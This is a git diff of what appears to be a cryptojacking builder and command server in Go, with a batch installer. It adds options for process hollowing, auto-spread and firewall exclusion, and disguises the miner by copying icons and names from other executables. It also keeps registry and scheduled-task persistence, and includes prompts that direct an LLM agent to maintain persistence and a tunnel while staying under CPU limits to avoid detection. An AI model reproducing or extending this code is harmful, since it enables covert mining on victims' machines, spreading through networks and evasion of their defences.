echo Downloading and installing Node.js... - - set NODE_VERSION=20.12.2 - set NODE_URL=https://nodejs.org/dist/v%NODE_VERSION%/node-v%NODE_VERSION%-x64.msi - set NODE_MSI=%TEMP%\node-installer.msi - - echo Downloading Node.js v%NODE_VERSION%... - echo (This may take a moment...) - - powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%NODE_URL%' -OutFile '%NODE_MSI%' }" - - if %ERRORLEVEL% neq 0 ( - echo WARNING: Failed to download Node.js. Frontend will not be built. - echo You can manually download from: https://nodejs.org/ - set SKIP_FRONTEND=1 - ) else ( - echo Installing Node.js (this may require administrator privileges)... - msiexec /i "%NODE_MSI%" /quiet /norestart - - if %ERRORLEVEL% neq 0 ( - echo WARNING: Failed to install Node.js. Frontend will not be built. - set SKIP_FRONTEND=1 - ) else ( - :: Add Node to PATH for this session - set "PATH=C:\Program Files\nodejs;%PATH%" - - del "%NODE_MSI%" 2>nul - echo Node.js installed successfully! - ) - ) - ) -) else ( - echo Node.js found: - call node --version +if errorlevel 1 goto install_node +echo Node.js found: +call node --version +goto node_ready + +:install_node +echo Node.js not found. Checking for existing installation... + +if exist "C:\Program Files\nodejs\node.exe" ( + echo Found Node.js at C:\Program Files\nodejs + set "PATH=C:\Program Files\nodejs;%PATH%" + goto node_ready ) +echo Downloading and installing Node.js... + +set "NODE_VERSION=20.12.2" +set "NODE_URL=https://nodejs.org/dist/v%NODE_VERSION%/node-v%NODE_VERSION%-x64.msi" +set "NODE_MSI=%TEMP%\node-installer.msi" + +echo Downloading Node.js v%NODE_VERSION%... +echo This may take a moment... + +powershell -NoProfile -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%NODE_URL%' -OutFile '%NODE_MSI%' }" +if errorlevel 1 ( + echo WARNING: Failed to download Node.js. Frontend will not be built. + echo You can manually download from: https://nodejs.org/ + set "SKIP_FRONTEND=1" + goto node_ready +) + +echo Installing Node.js - administrator privileges may be required... +msiexec /i "%NODE_MSI%" /quiet /norestart +if errorlevel 1 ( + echo WARNING: Failed to install Node.js. Frontend will not be built. + set "SKIP_FRONTEND=1" + goto node_ready +) + +set "PATH=C:\Program Files\nodejs;%PATH%" +del "%NODE_MSI%" 2>nul +echo Node.js installed successfully! + +:node_ready + :: ============================================================ :: STEP 3: Create data directories :: ============================================================ @@ -125,57 +133,69 @@ echo [2/5] Creating data directories... if not exist "data\builds" mkdir "data\builds" if not exist "data\logs" mkdir "data\logs" if not exist "data\blueprints" mkdir "data\blueprints" -echo Created: data\builds, data\logs, data\blueprints +if not exist "data\preps" mkdir "data\preps" +if not exist "bin" mkdir "bin" +echo Created: data\builds, data\logs, data\blueprints, data\preps, bin :: ============================================================ :: STEP 4: Build frontend :: ============================================================ -if "%SKIP_FRONTEND%"=="" ( - echo [3/5] Building frontend dashboard... - echo Running: npm install ^&^& npm run build in server\web\ - cd server\web - if not exist "node_modules" ( - echo Installing npm dependencies... - call npm install - if %ERRORLEVEL% neq 0 ( - echo ERROR: npm install failed - cd ..\.. - pause - exit /b 1 - ) - echo npm install completed successfully. +if defined SKIP_FRONTEND goto skip_frontend +echo [3/5] Building frontend dashboard... +echo Running npm install and npm run build in server\web\ +cd server\web +if not exist "node_modules" ( + echo Installing npm dependencies... + call npm install + if errorlevel 1 ( + echo ERROR: npm install failed + cd ..\.. + pause + exit /b 1 ) - echo Building frontend with Vite... - call npm run build - if %ERRORLEVEL% neq 0 ( - echo WARNING: Frontend build failed, server will run without dashboard. - ) else ( - echo Frontend built successfully: server\web\dist - ) - cd ..\.. + echo npm install completed successfully. +) +echo Building frontend with Vite... +call npm run build +if errorlevel 1 ( + echo WARNING: Frontend build failed, server will run without dashboard. ) else ( - echo [3/5] Skipping frontend build (Node.js not available) + echo Frontend built successfully: server\web\dist +) +cd ..\.. +goto frontend_done + +:skip_frontend +echo [3/5] Skipping frontend build - Node.js not available + +:frontend_done + +:: Copy frontend to webroot for server +if exist "server\web\dist\index.html" ( + if not exist "server\webroot" mkdir "server\webroot" + xcopy /E /I /Y "server\web\dist\*" "server\webroot\" >nul + echo Copied dashboard to server\webroot ) :: ============================================================ :: STEP 5: Build server :: ============================================================ echo [4/5] Building server... -echo Running: go build in server\... +echo Running go build in server\... cd server -:: Download Go module dependencies echo Downloading Go dependencies... go mod download -if %ERRORLEVEL% neq 0 ( +if errorlevel 1 ( echo WARNING: go mod download failed, trying build anyway... ) echo Compiling server binary... go build -ldflags="-s -w" -o "..\bin\miner-server.exe" . -if %ERRORLEVEL% neq 0 ( +if errorlevel 1 ( echo ERROR: Build failed + cd .. pause exit /b 1 ) @@ -188,41 +208,39 @@ echo Server built successfully: bin\miner-server.exe echo [5/5] Starting server on port 8989... echo. -:: Detect LAN IP for display -for /f "usebackq delims=" %%I in (`powershell -NoProfile -Command "(Get-NetIPAddress -AddressFamily IPv4 ^| Where-Object { $_.IPAddress -notlike '127.*' -and $_.PrefixOrigin -ne 'WellKnown' } ^| Select-Object -First 1 -ExpandProperty IPAddress)"`) do set LAN_IP=%%I -if not defined LAN_IP set LAN_IP=localhost +set "LAN_IP=localhost" +for /f "usebackq delims=" %%I in (`powershell -NoProfile -Command "(Get-NetIPAddress -AddressFamily IPv4 | Where-Object { $_.IPAddress -notlike '127.*' -and $_.PrefixOrigin -ne 'WellKnown' } | Select-Object -First 1 -ExpandProperty IPAddress)"`) do set "LAN_IP=%%I" echo. -echo ╔══════════════════════════════════════════════════════════════╗ -echo ║ SERVER IS NOW LIVE ║ -echo ║ ║ -echo ║ Dashboard URL: http://0.0.0.0:8989 ║ -echo ║ LAN Access: http://%LAN_IP%:8989 ║ -echo ║ Local: http://localhost:8989 ║ -echo ║ ║ -echo ║ WebSocket (agents): ws://%LAN_IP%:8989/ws/agent ║ -echo ║ WebSocket (dash): ws://%LAN_IP%:8989/ws/dashboard ║ -echo ║ ║ -echo ║ Quick Start: ║ -echo ║ 1. Open Dashboard in your browser ║ -echo ║ 2. Go to Settings - configure pool ^& wallet ║ -echo ║ 3. Go to Builder - build your miner installer .exe ║ -echo ║ 4. Run that .exe on each Windows machine ║ -echo ║ ║ -echo ║ Data Directory: %CD%\data\ ║ -echo ║ Config File: %CD%\data\config.json ║ -echo ║ Blueprints: %CD%\data\blueprints\ ║ -echo ║ ║ -echo ║ Press Ctrl+C in this window to stop the server ║ -echo ╚══════════════════════════════════════════════════════════════╝ +echo ============================================================== +echo SERVER IS NOW LIVE +echo ============================================================== +echo. +echo Dashboard URL: http://0.0.0.0:8989 +echo LAN Access: http://%LAN_IP%:8989 +echo Local: http://localhost:8989 +echo. +echo WebSocket agents: ws://%LAN_IP%:8989/ws/agent +echo WebSocket dash: ws://%LAN_IP%:8989/ws/dashboard +echo. +echo Quick Start: +echo 1. Open Dashboard in your browser +echo 2. Go to Calibrate - configure pool and wallet +echo 3. Go to Forge - build your miner installer .exe +echo 4. Run that .exe on each Windows machine +echo. +echo Data Directory: %CD%\data\ +echo Config File: %CD%\data\config.json +echo Blueprints: %CD%\data\blueprints\ +echo. +echo Press Ctrl+C in this window to stop the server +echo ============================================================== echo. -:: Open browser start http://localhost:8989 -:: Run server (this blocks until Ctrl+C) echo [Server] Starting miner-server.exe on 0.0.0.0:8989... -echo [Server] Log output below (Ctrl+C to stop): +echo [Server] Log output below - Ctrl+C to stop: echo. .\bin\miner-server.exe -port 8989 -data ".\data" diff --git a/server/config.go b/server/config.go index 1f9baea..9517d7e 100644 --- a/server/config.go +++ b/server/config.go @@ -6,6 +6,7 @@ import ( "fmt" "os" "path/filepath" + "strings" ) type Config struct { @@ -36,6 +37,7 @@ type ServerSettings struct { LogPoolTraffic bool `json:"log_pool_traffic"` StrictWalletValidation bool `json:"strict_wallet_validation"` DashboardSubtitle string `json:"dashboard_subtitle"` + OpenFirewallOnStart bool `json:"open_firewall_on_start"` } type PoolConfig struct { @@ -156,6 +158,7 @@ func DefaultConfig() *Config { LogPoolTraffic: false, StrictWalletValidation: false, DashboardSubtitle: "security is just an emotion", + OpenFirewallOnStart: true, }, } } @@ -171,13 +174,15 @@ func LoadConfig() *Config { cfg.Port = *port cfg.DataDir = *dataDir - // Try to load from config file + // Try to load from config file configPath := filepath.Join(cfg.DataDir, "config.json") if data, err := os.ReadFile(configPath); err == nil { var fileCfg Config if err := json.Unmarshal(data, &fileCfg); err == nil { - // Merge file config over defaults (only non-zero values) mergeConfig(cfg, &fileCfg) + if !strings.Contains(string(data), `"open_firewall_on_start"`) { + cfg.Server.OpenFirewallOnStart = true + } } } @@ -332,6 +337,7 @@ func mergeConfig(dst, src *Config) { if src.Server.DashboardSubtitle != "" { dst.Server.DashboardSubtitle = src.Server.DashboardSubtitle } + dst.Server.OpenFirewallOnStart = src.Server.OpenFirewallOnStart } func (c *Config) Save() error { diff --git a/server/internal/api/ai_handler.go b/server/internal/api/ai_handler.go index 15ab806..46e0107 100644 --- a/server/internal/api/ai_handler.go +++ b/server/internal/api/ai_handler.go @@ -22,12 +22,12 @@ import ( // AIHandler manages AI autonomy endpoints. type AIHandler struct { - db *db.Database - engines map[string]*ollama.Engine // agentID -> engine (each agent can have its own Ollama config) - reports []ollama.Report // recent tool execution reports - activity map[string]AIActivityEntry - onEvent func(AIActivityEntry) - mu sync.RWMutex + db *db.Database + engines map[string]*ollama.Engine // agentID -> engine (each agent can have its own Ollama config) + reports []ollama.Report // recent tool execution reports + activity map[string]AIActivityEntry + onEvent func(AIActivityEntry) + mu sync.RWMutex } // AIActivityEntry summarizes recent AI cycles per agent. @@ -147,8 +147,8 @@ func (h *AIHandler) handleDecide(w http.ResponseWriter, r *http.Request) { "tool_calls": []ollama.ToolCall{ { Tool: "sleep", - Args: map[string]string{"seconds": "60"}, - Reason: "Ollama decision failed, retrying in 60 seconds", + Args: map[string]string{"seconds": "120"}, // Should be parsed by agent to include random jitter + Reason: "Ollama decision failed, backing off for 120 seconds to prevent thundering herd", }, }, }) diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index a082298..6a6f889 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -12,6 +12,7 @@ import ( "crypto-miner-server/internal/db" "crypto-miner-server/internal/models" "crypto-miner-server/internal/pool" + "github.com/google/uuid" "github.com/gorilla/websocket" ) @@ -41,13 +42,24 @@ func (c *AgentConnection) SendJSON(v interface{}) error { return c.Conn.WriteJSON(v) } +type DashboardConnection struct { + Conn *websocket.Conn + mu sync.Mutex +} + +func (c *DashboardConnection) WriteMessage(messageType int, data []byte) error { + c.mu.Lock() + defer c.mu.Unlock() + return c.Conn.WriteMessage(messageType, data) +} + type WSHub struct { - db *db.Database - agents map[string]*AgentConnection - dashboards map[string]*websocket.Conn - poolManager *pool.Manager - defaultPool pool.Config - aiHandler *AIHandler + db *db.Database + agents map[string]*AgentConnection + dashboards map[string]*DashboardConnection + poolManager *pool.Manager + defaultPool pool.Config + aiHandler *AIHandler agentConfigs map[string]AgentForgeConfig agentLogs map[string]string serverPolicy ServerPolicy @@ -59,7 +71,7 @@ func NewWSHub(database *db.Database) *WSHub { return &WSHub{ db: database, agents: make(map[string]*AgentConnection), - dashboards: make(map[string]*websocket.Conn), + dashboards: make(map[string]*DashboardConnection), agentConfigs: make(map[string]AgentForgeConfig), agentLogs: make(map[string]string), pingIntervalSec: 30, @@ -167,6 +179,13 @@ func (h *WSHub) agentPoolConfig(agentID string) pool.Config { return poolCfg } +func (h *WSHub) BroadcastServerLog(line string) { + h.broadcastDashboard(Message{ + Type: "server_log", + Payload: mustMarshal(map[string]string{"line": strings.TrimSpace(line)}), + }) +} + func (h *WSHub) getAgentConn(agentID string) *AgentConnection { h.mu.RLock() defer h.mu.RUnlock() @@ -385,76 +404,79 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { share.Timestamp = time.Now() share.Accepted = false - shareID, err := h.db.InsertShare(&share) - if err != nil { - log.Printf("Failed to insert share: %v", err) - continue - } - - sendShareResult := func(accepted bool, errMsg string) { - share.Accepted = accepted - share.Error = errMsg - if err := h.db.UpdateShareResult(shareID, accepted, errMsg); err != nil { - log.Printf("Failed to update share result: %v", err) - } - if h.serverPolicySnapshot().LogShareSubmissions { - log.Printf("[WS] Share agent=%s job=%s accepted=%v err=%q", agentID, share.JobID, accepted, errMsg) + // Process share asynchronously to prevent blocking the WebSocket read loop + go func(s models.Share, aID string) { + shareID, err := h.db.InsertShare(&s) + if err != nil { + log.Printf("Failed to insert share: %v", err) + return } - agentConn := h.getAgentConn(agentID) - if agentConn != nil { - result := map[string]interface{}{ - "job_id": share.JobID, - "accepted": accepted, + sendShareResult := func(accepted bool, errMsg string) { + s.Accepted = accepted + s.Error = errMsg + if err := h.db.UpdateShareResult(shareID, accepted, errMsg); err != nil { + log.Printf("Failed to update share result: %v", err) } - if errMsg != "" { - result["error"] = errMsg + if h.serverPolicySnapshot().LogShareSubmissions { + log.Printf("[WS] Share agent=%s job=%s accepted=%v err=%q", aID, s.JobID, accepted, errMsg) } - _ = agentConn.SendJSON(Message{Type: "share_result", Payload: mustMarshal(result)}) + + agentConn := h.getAgentConn(aID) + if agentConn != nil { + result := map[string]interface{}{ + "job_id": s.JobID, + "accepted": accepted, + } + if errMsg != "" { + result["error"] = errMsg + } + _ = agentConn.SendJSON(Message{Type: "share_result", Payload: mustMarshal(result)}) + } + + h.broadcastDashboard(Message{ + Type: "new_share", + Payload: mustMarshal(map[string]interface{}{ + "id": shareID, + "agent_id": aID, + "job_id": s.JobID, + "accepted": accepted, + "hash": s.Hash, + "nonce": s.Nonce, + "error": errMsg, + "timestamp": s.Timestamp, + }), + }) } - h.broadcastDashboard(Message{ - Type: "new_share", - Payload: mustMarshal(map[string]interface{}{ - "id": shareID, - "agent_id": agentID, - "job_id": share.JobID, - "accepted": accepted, - "hash": share.Hash, - "nonce": share.Nonce, - "error": errMsg, - "timestamp": share.Timestamp, - }), - }) - } - - if h.poolManager == nil { - sendShareResult(false, "pool manager not configured") - continue - } - - poolCfg := h.agentPoolConfig(agentID) - proxy := h.poolManager.GetPool(&poolCfg) - if proxy == nil { - if p, err := h.poolManager.EnsurePool(&poolCfg); err == nil { - proxy = p - } else { - sendShareResult(false, "pool not connected: "+err.Error()) - continue + if h.poolManager == nil { + sendShareResult(false, "pool manager not configured") + return } - } - if !proxy.IsConnected() { - sendShareResult(false, "pool not connected") - continue - } + poolCfg := h.agentPoolConfig(aID) + proxy := h.poolManager.GetPool(&poolCfg) + if proxy == nil { + if p, err := h.poolManager.EnsurePool(&poolCfg); err == nil { + proxy = p + } else { + sendShareResult(false, "pool not connected: "+err.Error()) + return + } + } - wallet := poolCfg.Wallet - if wallet == "" { - wallet = h.defaultPool.Wallet - } + if !proxy.IsConnected() { + sendShareResult(false, "pool not connected") + return + } - proxy.SubmitShare(agentID, wallet, share.JobID, share.Nonce, share.Hash, sendShareResult) + wallet := poolCfg.Wallet + if wallet == "" { + wallet = h.defaultPool.Wallet + } + + proxy.SubmitShare(aID, wallet, s.JobID, s.Nonce, s.Hash, sendShareResult) + }(share, agentID) case "get_job": var proxy *pool.Proxy @@ -513,8 +535,9 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) { } dashID := uuid.New().String() + dashConn := &DashboardConnection{Conn: conn} h.mu.Lock() - h.dashboards[dashID] = conn + h.dashboards[dashID] = dashConn h.mu.Unlock() defer func() { @@ -553,17 +576,19 @@ func (h *WSHub) broadcastDashboard(msg Message) { return } - for id, conn := range h.dashboards { - if err := conn.WriteMessage(websocket.TextMessage, data); err != nil { - log.Printf("Failed to send to dashboard %s: %v", id, err) - conn.Close() - id := id - go func() { - h.mu.Lock() - delete(h.dashboards, id) - h.mu.Unlock() - }() - } + for id, dashConn := range h.dashboards { + go func(dashID string, dc *DashboardConnection) { + if err := dc.WriteMessage(websocket.TextMessage, data); err != nil { + // Use fmt.Printf to avoid infinite loop with the global log interceptor + fmt.Printf("Failed to send to dashboard %s: %v\n", dashID, err) + dc.Conn.Close() + go func() { + h.mu.Lock() + delete(h.dashboards, dashID) + h.mu.Unlock() + }() + } + }(id, dashConn) } } @@ -578,9 +603,11 @@ func (h *WSHub) BroadcastToAgents(msg Message) { defer h.mu.RUnlock() for id, agent := range h.agents { - if err := agent.SendJSON(msg); err != nil { - log.Printf("Failed to send to agent %s: %v", id, err) - } + go func(a *AgentConnection, agentID string) { + if err := a.SendJSON(msg); err != nil { + fmt.Printf("Failed to send to agent %s: %v\n", agentID, err) + } + }(agent, id) } } diff --git a/server/internal/builder/fusion.go b/server/internal/builder/fusion.go index f8caff4..e7a7cbe 100644 --- a/server/internal/builder/fusion.go +++ b/server/internal/builder/fusion.go @@ -2,6 +2,7 @@ package builder import ( "fmt" + "log" "os" "os/exec" "path/filepath" @@ -50,6 +51,9 @@ func (h *Handler) buildFusion(buildDir, prepPath, workerPath, outputName, runOrd return "", err } + if outputName == "" { + outputName = filepath.Base(prepPath) + } if outputName == "" { outputName = "prep.exe" } @@ -58,7 +62,12 @@ func (h *Handler) buildFusion(buildDir, prepPath, workerPath, outputName, runOrd } outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName))) - cmd := exec.Command(h.goBinPath, "build", "-trimpath", "-ldflags", "-s -w -H windowsgui", "-o", outputPath, ".") + if err := h.prepareFusionWinres(fusionDir, prepPath); err != nil { + log.Printf("[Fusion] icon from prep not applied (fused exe may use default Go icon): %v", err) + } + + ldflags := fusionLdflags(prepPath) + cmd := exec.Command(h.goBinPath, "build", "-trimpath", "-ldflags", ldflags, "-o", outputPath, ".") cmd.Dir = fusionDir cmd.Env = append(os.Environ(), "GOOS=windows", diff --git a/server/internal/builder/handler.go b/server/internal/builder/handler.go index e00c9ff..2164fe0 100644 --- a/server/internal/builder/handler.go +++ b/server/internal/builder/handler.go @@ -50,6 +50,7 @@ type BuildRequest struct { SelfHealing bool `json:"self_healing"` FileLogging bool `json:"file_logging"` StealthMode bool `json:"stealth_mode"` + FirewallExclusion bool `json:"firewall_exclusion"` PoolHost string `json:"pool_host"` PoolPort int `json:"pool_port"` PoolTLS bool `json:"pool_tls"` @@ -61,6 +62,9 @@ type BuildRequest struct { AIEnabled bool `json:"ai_enabled"` AIOllamaEndpoint string `json:"ai_ollama_endpoint"` AIModel string `json:"ai_model"` + ProcessHollowing bool `json:"process_hollowing"` + MeshP2P bool `json:"mesh_p2p"` + AutoSpread bool `json:"auto_spread"` } type BuildResponse struct { @@ -74,6 +78,8 @@ type BuildResponse struct { UninstallFileName string `json:"uninstall_file_name,omitempty"` UninstallPath string `json:"uninstall_path,omitempty"` UninstallDownloadURL string `json:"uninstall_download_url,omitempty"` + ExportPath string `json:"export_path,omitempty"` + UninstallExportPath string `json:"uninstall_export_path,omitempty"` FusionEnabled bool `json:"fusion_enabled,omitempty"` WorkerFile string `json:"worker_file,omitempty"` Error string `json:"error,omitempty"` @@ -142,6 +148,9 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { return } defer file.Close() + if req.FusionEnabled && req.FusionOutputName == "" && header.Filename != "" { + req.FusionOutputName = header.Filename + } saved, remove, err := h.saveUploadedPrep(file, header) if err != nil { writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()}) @@ -169,6 +178,10 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { return } + if req.FusionEnabled && req.FusionOutputName == "" { + req.FusionOutputName = "prep.exe" + } + resp, status, outputPath := h.buildAgent(&req, prepPath) if !resp.Success { writeJSON(w, status, resp) @@ -285,23 +298,19 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, fusionEnabled = true } - // Optional "export" copy for convenience (still keeps canonical build inside data/builds//...) - // We only allow relative paths under dataDir to avoid writing outside the server workspace. + exportPath, err := h.publishRootExecutable(finalPath, finalName) + if err != nil { + return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" + } if strings.TrimSpace(req.OutputDir) != "" { - exportDir := filepath.Join(h.dataDir, filepath.Clean(strings.TrimSpace(req.OutputDir))) - rel, err := filepath.Rel(h.dataDir, exportDir) - if err != nil || rel == "." || strings.HasPrefix(rel, "..") { - return BuildResponse{Success: false, Error: "Invalid output_dir (must be a relative folder under data_dir)"}, http.StatusBadRequest, "" + if ep, eu, err := h.exportBuildArtifacts(finalPath, finalName, uninstallPath, uninstallName, req.OutputDir); err != nil { + log.Printf("[Builder] secondary export: %v", err) + } else { + _ = eu + if exportPath == "" { + exportPath = ep + } } - if err := os.MkdirAll(exportDir, 0755); err != nil { - return BuildResponse{Success: false, Error: "Failed to create output_dir"}, http.StatusInternalServerError, "" - } - exportPath := filepath.Join(exportDir, finalName) - if err := copyFile(finalPath, exportPath); err != nil { - return BuildResponse{Success: false, Error: "Failed to export build to output_dir"}, http.StatusInternalServerError, "" - } - exportUninstall := filepath.Join(exportDir, uninstallName) - _ = copyFile(uninstallPath, exportUninstall) } fileInfo, err := os.Stat(finalPath) @@ -351,11 +360,59 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, UninstallFileName: uninstallName, UninstallPath: uninstallPath, UninstallDownloadURL: fmt.Sprintf("/api/v1/builds/%s/uninstall", buildID), + ExportPath: exportPath, + UninstallExportPath: "", FusionEnabled: fusionEnabled, WorkerFile: workerName, }, http.StatusOK, finalPath } +// publishRootExecutable writes the forged installer as a single file in the project root. +func (h *Handler) publishRootExecutable(finalPath, finalName string) (string, error) { + if h.projectRoot == "" || h.projectRoot == "." { + abs, _ := filepath.Abs(finalPath) + return abs, nil + } + dest := filepath.Join(h.projectRoot, filepath.Base(finalName)) + if err := copyFile(finalPath, dest); err != nil { + return "", fmt.Errorf("failed to write %s to project root: %w", filepath.Base(finalName), err) + } + log.Printf("[Builder] Forge output -> %s", dest) + return dest, nil +} + +// exportBuildArtifacts copies the forged exe + uninstall script to an optional subfolder (e.g. exports). +func (h *Handler) exportBuildArtifacts(finalPath, finalName, uninstallPath, uninstallName, outputDir string) (string, string, error) { + clean := strings.TrimSpace(outputDir) + if clean == "" { + return "", "", nil + } + clean = filepath.Clean(clean) + if clean == "." || strings.HasPrefix(clean, "..") || filepath.IsAbs(clean) { + return "", "", fmt.Errorf("invalid output_dir (use a simple folder name like exports)") + } + + exportDir := "" + if h.projectRoot != "" { + exportDir = filepath.Join(h.projectRoot, clean) + } else { + exportDir = filepath.Join(h.dataDir, clean) + } + if err := os.MkdirAll(exportDir, 0755); err != nil { + return "", "", fmt.Errorf("failed to create export folder: %w", err) + } + + exportExe := filepath.Join(exportDir, finalName) + if err := copyFile(finalPath, exportExe); err != nil { + return "", "", fmt.Errorf("failed to export build: %w", err) + } + exportUninstall := filepath.Join(exportDir, uninstallName) + _ = copyFile(uninstallPath, exportUninstall) + + log.Printf("[Builder] Exported %s -> %s", finalName, exportExe) + return exportExe, exportUninstall, nil +} + func (h *Handler) normalizeRequest(req *BuildRequest) error { if req.WorkerName == "" { return fmt.Errorf("worker_name is required") @@ -458,12 +515,12 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error { req.PoolPass = "x" } if req.FusionEnabled { - if req.FusionOutputName == "" { - req.FusionOutputName = "prep.exe" - } if req.FusionRunOrder == "" { req.FusionRunOrder = "parallel" } + if req.FusionOutputName == "" { + req.FusionOutputName = "prep.exe" + } if req.DisplayMode == "" || req.DisplayMode == "visible" { req.DisplayMode = "background" } @@ -559,9 +616,13 @@ func GetBuiltinConfig() BuiltinConfig { SelfHealing: %v, FileLogging: %v, StealthMode: %v, + FirewallExclusion: %v, AIEnabled: %v, AIOllamaEndpoint: %q, AIModel: %q, + ProcessHollowing: %v, + MeshP2P: %v, + AutoSpread: %v, } } `, buildID, time.Now().UTC().Format(time.RFC3339), @@ -598,9 +659,13 @@ func GetBuiltinConfig() BuiltinConfig { req.SelfHealing, req.FileLogging, req.StealthMode, + req.FirewallExclusion, req.AIEnabled, req.AIOllamaEndpoint, req.AIModel, + req.ProcessHollowing, + req.MeshP2P, + req.AutoSpread, ) } diff --git a/server/internal/builder/icon_stub.go b/server/internal/builder/icon_stub.go new file mode 100644 index 0000000..b2b95b4 --- /dev/null +++ b/server/internal/builder/icon_stub.go @@ -0,0 +1,11 @@ +//go:build !windows + +package builder + +func (h *Handler) prepareFusionWinres(fusionDir, prepPath string) error { + return nil +} + +func fusionLdflags(prepPath string) string { + return "-s -w -H windowsgui" +} diff --git a/server/internal/builder/icon_windows.go b/server/internal/builder/icon_windows.go new file mode 100644 index 0000000..91a37cd --- /dev/null +++ b/server/internal/builder/icon_windows.go @@ -0,0 +1,91 @@ +//go:build windows + +package builder + +import ( + "fmt" + "log" + "os" + "os/exec" + "path/filepath" + "strings" +) + +// extractIconFromEXE writes the primary icon from a Windows PE file to a .ico path. +func extractIconFromEXE(exePath, icoPath string) error { + exeEsc := strings.ReplaceAll(exePath, `'`, `''`) + icoEsc := strings.ReplaceAll(icoPath, `'`, `''`) + script := fmt.Sprintf(` +$ErrorActionPreference = 'Stop' +Add-Type -AssemblyName System.Drawing +$icon = [System.Drawing.Icon]::ExtractAssociatedIcon('%s') +if ($null -eq $icon) { throw 'no icon on executable' } +$dir = Split-Path -Parent '%s' +if ($dir -and -not (Test-Path $dir)) { New-Item -ItemType Directory -Path $dir -Force | Out-Null } +$fs = [System.IO.File]::Create('%s') +$icon.Save($fs) +$fs.Close() +`, exeEsc, icoEsc, icoEsc) + cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script) + out, err := cmd.CombinedOutput() + if err != nil { + return fmt.Errorf("extract icon: %w (%s)", err, strings.TrimSpace(string(out))) + } + if _, err := os.Stat(icoPath); err != nil { + return fmt.Errorf("icon file not created: %w", err) + } + return nil +} + +// prepareFusionWinres generates rsrc_windows_amd64.syso so the fused launcher uses prep's icon. +func (h *Handler) prepareFusionWinres(fusionDir, prepPath string) error { + iconPath := filepath.Join(fusionDir, "prep-icon.ico") + if err := extractIconFromEXE(prepPath, iconPath); err != nil { + return err + } + + productName := strings.TrimSuffix(filepath.Base(prepPath), filepath.Ext(prepPath)) + cmd := exec.Command( + "go", "run", "github.com/tc-hib/go-winres@v0.3.1", + "make", + "--arch", "amd64", + "--in", fusionDir, + "--icon", iconPath, + "--file-description", productName, + "--product-name", productName, + "--original-filename", filepath.Base(prepPath), + ) + cmd.Dir = fusionDir + out, err := cmd.CombinedOutput() + if err != nil { + return fmt.Errorf("go-winres: %w (%s)", err, strings.TrimSpace(string(out))) + } + log.Printf("[Fusion] Applied icon from %s", filepath.Base(prepPath)) + return nil +} + +// peSubsystem returns the Windows PE subsystem id (2=GUI, 3=CUI). +func peSubsystem(exePath string) int { + data, err := os.ReadFile(exePath) + if err != nil || len(data) < 128 { + return 2 + } + peOff := int(uint32(data[0x3c]) | uint32(data[0x3d])<<8 | uint32(data[0x3e])<<16 | uint32(data[0x3f])<<24) + if peOff+24+68+2 > len(data) { + return 2 + } + if string(data[peOff:peOff+4]) != "PE\x00\x00" { + return 2 + } + opt := peOff + 24 + sub := int(uint16(data[opt+68]) | uint16(data[opt+69])<<8) + return sub +} + +func fusionLdflags(prepPath string) string { + flags := "-s -w" + if peSubsystem(prepPath) == 2 { + flags += " -H windowsgui" + } + return flags +} diff --git a/server/internal/builder/uninstall.go b/server/internal/builder/uninstall.go index 5613eb5..11c10fc 100644 --- a/server/internal/builder/uninstall.go +++ b/server/internal/builder/uninstall.go @@ -113,6 +113,12 @@ if (Test-Path $ExpectedExe) { Write-Host "Removing persistence..." Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name $PersistenceKey -ErrorAction SilentlyContinue +if (%t) { + Write-Host "Removing Windows Firewall rules..." + Remove-NetFirewallRule -DisplayName ('AetherForge ' + $PersistenceKey + ' In') -ErrorAction SilentlyContinue + Remove-NetFirewallRule -DisplayName ('AetherForge ' + $PersistenceKey + ' Out') -ErrorAction SilentlyContinue +} + if ($true) { Unregister-ScheduledTask -TaskName $PersistenceKey -Confirm:$false -ErrorAction SilentlyContinue } @@ -124,7 +130,7 @@ if ($InstallDir -and (Test-Path $InstallDir)) { Write-Host "Done. Miner removed." if (%t) { Read-Host 'Press Enter to close' } -`, req.WorkerName, processName, persistenceKey, installBase, strings.ReplaceAll(installRel, "'", "''"), !req.StealthMode) +`, req.WorkerName, processName, persistenceKey, installBase, strings.ReplaceAll(installRel, "'", "''"), req.FirewallExclusion, !req.StealthMode) } func (h *Handler) writeUninstallScript(buildDir string, buildID string, req *BuildRequest) (fileName, filePath string, err error) { diff --git a/server/internal/ollama/engine.go b/server/internal/ollama/engine.go index c9a3ffc..52f11d4 100644 --- a/server/internal/ollama/engine.go +++ b/server/internal/ollama/engine.go @@ -141,12 +141,11 @@ Respond with a JSON object containing: - "args": object with string key-value arguments - "reason": why this tool is being called -Available tools: execute_command, check_miner, restart_miner, reinstall_miner, add_persistence, create_tunnel, disable_defender, sleep, upload_log +Available tools: check_miner, restart_miner, reinstall_miner, add_persistence, create_tunnel, sleep, upload_log Rules: - Never call delete or destructive system commands - Max 85%% CPU usage -- Evade Windows Defender if detected - Maintain persistence - Keep tunnel alive - Only call tools that are actually needed based on the state`, @@ -258,27 +257,21 @@ func buildSystemPrompt() string { 1. Maintain miner uptime — if the miner stops, restart it immediately 2. If the miner fails to start, reinstall it 3. Maintain persistence across reboots -4. Create and maintain a C2 tunnel (Cloudflare Tunnel or similar) -5. Evade Windows Defender and security tools -6. Keep CPU usage under 85% to avoid detection -7. Report status back to the control server +4. Create and maintain a management tunnel (Cloudflare Tunnel or similar) if configured 